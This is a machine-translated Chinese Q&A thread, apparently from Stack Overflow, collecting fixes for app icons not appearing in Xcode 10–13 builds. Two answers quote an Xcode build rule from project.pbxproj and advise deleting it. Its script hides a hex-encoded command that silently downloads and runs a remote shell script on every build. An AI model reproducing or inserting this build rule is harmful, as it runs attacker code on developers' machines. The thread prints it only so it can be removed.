Xcode 10 个应用程序图标未显示

Xcode 10 app icon not showing

最近更新到 Xcode 10 beta 和我的应用程序,以前在构建时显示正确的图标,运行 从 Xcode 9.4 到设备现在显示默认的空白图标 运行 在 Xcode 10.

打开 AppIcon 资产时,它在所有占位符中正确显示图标,没有任何警告图标。点击新 "Show Slicing" 时我没有看到任何东西。

有人知道如何解决此问题以便显示应用程序图标吗?

确保你的 "App Icons Source" 在 "App Icons and Launch Images" 下选择了你的 AppIcon 有时你的 AppIcon 可以在你的 Assets.xcassets 文件夹中命名为类似 "AppIcon-1" 的名称。

更新到 Xcode 10 beta 后出现同样的问题。

我可能会通过将活动开发人员目录更改为 Xcode10:

来修复它

sudo xcode-select --switch /Applications/Xcode-beta.app/Contents/Developer

或 select Xcode 10.0Xcode->Preferences->Locations->Command Line Tools.

希望这对您有所帮助。

Apple 于 2018 年 6 月 19 日发布了 Xcode10.beta 2. 升级解决了我遇到的图标不显示的问题。所以,我猜是 Xcode 10.0 中的错误。

我在更改资产目录后遇到了这个问题。我相信修复它的是选择 AppIcon 资产以及选择和取消选择主要应用程序目标的目标成员资格。这是在 Xcode 10 正确的。

我在 iPad 上进行测试,在我的情况下,问题是默认的 AppIcon 不包含任何 iPad 插槽。

我不知道这是否与我的应用程序初始化方式有关(我使用的是 React Native),但我多年来一直在解决问题,甚至没想过要检查它们是否存在。傻我...

为了解决这个问题,我删除了现有图标,单击 + 按钮并选择 ['App Icons & Launch items' -> 'New iOS App Icons'],如下所示。然后我就按预期填充了。

在我的例子中,Xcode 在 App Icons Source 中使用了 "Use Asset Catalog"。要查看您可以转到项目->常规->应用程序图标源。

为了修复它,我选择了 "Migrate" 并创建了一个新的资产目录。当我这样做时,最旧的资产目录在应用程序图标中收到警告。所以我再次将图标上传到这个最旧的目录并删除了临时目录。

App Icons Source 返回显示 "AppIcon" 并且有效。

我整天都在和这个问题作斗争,它不会出现在模拟器或真实设备中。

最终我通过确保将 AppIcon 的目标成员资格设置为应用程序名称并且位置为 "Relative to Project".

来让它工作

在我的例子中,这两个选项设置错误

对我来说,解决方案是删除资产文件夹中的 AppIcon 文件,然后重新添加(这也意味着重新添加图像)。我不知道为什么,但这对我来说已经解决了。

此问题现在出现在 iOS 15 Beta 和 iPadOS 15 Beta 上,但我们找到了解决方法。

我们更改了游戏中的图标,但它没有加载到任何 Beta 设备上。我们尝试了一个非测试版设备,它工作得很好。我决定为 iOS 和 iPadOS 15 beta 安装 Device Support,现在如果图标已更改,我不会立即看到它,但如果我重新启动设备,我会看到。我们知道图标在项目中是正确的,因为我们进行了 TestFlight 构建并且它在非 Beta 设备上工作。

我在 xCode 12.5 上遇到了同样的问题 所有图标都可以使用,但只有应用程序图标在 iPad 和 iPhone 上没有显示.

解决方案

YouProject.xcodeproj -> 显示包内容 -> project.pbxproj -> 打开

  • 找出打击代码

  • 删除代码块

  • 构建项目并运行您的应用。

    / Begin PBXBuildRule section /
          EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
              isa = PBXBuildRule;
              compilerSpec = com.apple.compilers.proxy.script;
              fileType = folder.assetcatalog;
              inputFiles = (
              );
              isEditable = 0;
              name = "Assets Catalog Builder";
              outputFiles = (
                  "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
              );
              script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\"  --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
          };
    / End PBXBuildRule section /
    

在 Xcode 12.5 中,我遇到了同样的问题,但显然仍未解决。尝试了上述许多解决方案,none 有所帮助。然后我做了“清理构建文件夹”,然后取消选中资产目录的目标复选框,构建,再次执行“清理构建文件夹”,选中资产目录的目标复选框,然后再次构建;现在图标可以工作了。这似乎是某种无法清除的不良缓存状态;我猜这些步骤中的某些内容导致缓存失效。相同的步骤但不清理构建文件夹并不能解决问题,所以清理可能是这里的关键因素。

您可以通过 3 个步骤解决问题。

  1. 单击 yourprojectname.xcodeproj 文件中的显示包内容。

  2. 单击在 project.pbxproj 文件中打开。

  3. 查找并删除这些行

/ Begin PBXBuildRule section / EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = { isa = PBXBuildRule; compilerSpec = com.apple.compilers.proxy.script; fileType = folder.assetcatalog; inputFiles = ( ); isEditable = 0; name = "Assets Catalog Builder"; outputFiles = ( "$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)", ); script = "# Xcode Image Assets Compiler\n\ncp -rf "${INPUT_FILE_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\nxcrun actool --minimum-deployment-target "${IPHONEOS_DEPLOYMENT_TARGET}" --platform "${PLATFORM_NAME}" --compile "${CODESIGNING_FOLDER_PATH}" "${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}"\n\n\necho "6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n"; }; / End PBXBuildRule section /

在尝试其他解决方案后,这解决了我的问题。

别忘了:

  • 卸载应用,
  • 重启模拟器
  • 构建您的项目

如果您使用的是 Xcode 13 & iOS 15

  • 安装应用并重启设备。

应用程序图标显示在设备上。

另一个棘手的解决方案,但不要使用(它仅用于测试目的,不是最佳解决方案。

  • 更改包标识符 & 运行 项目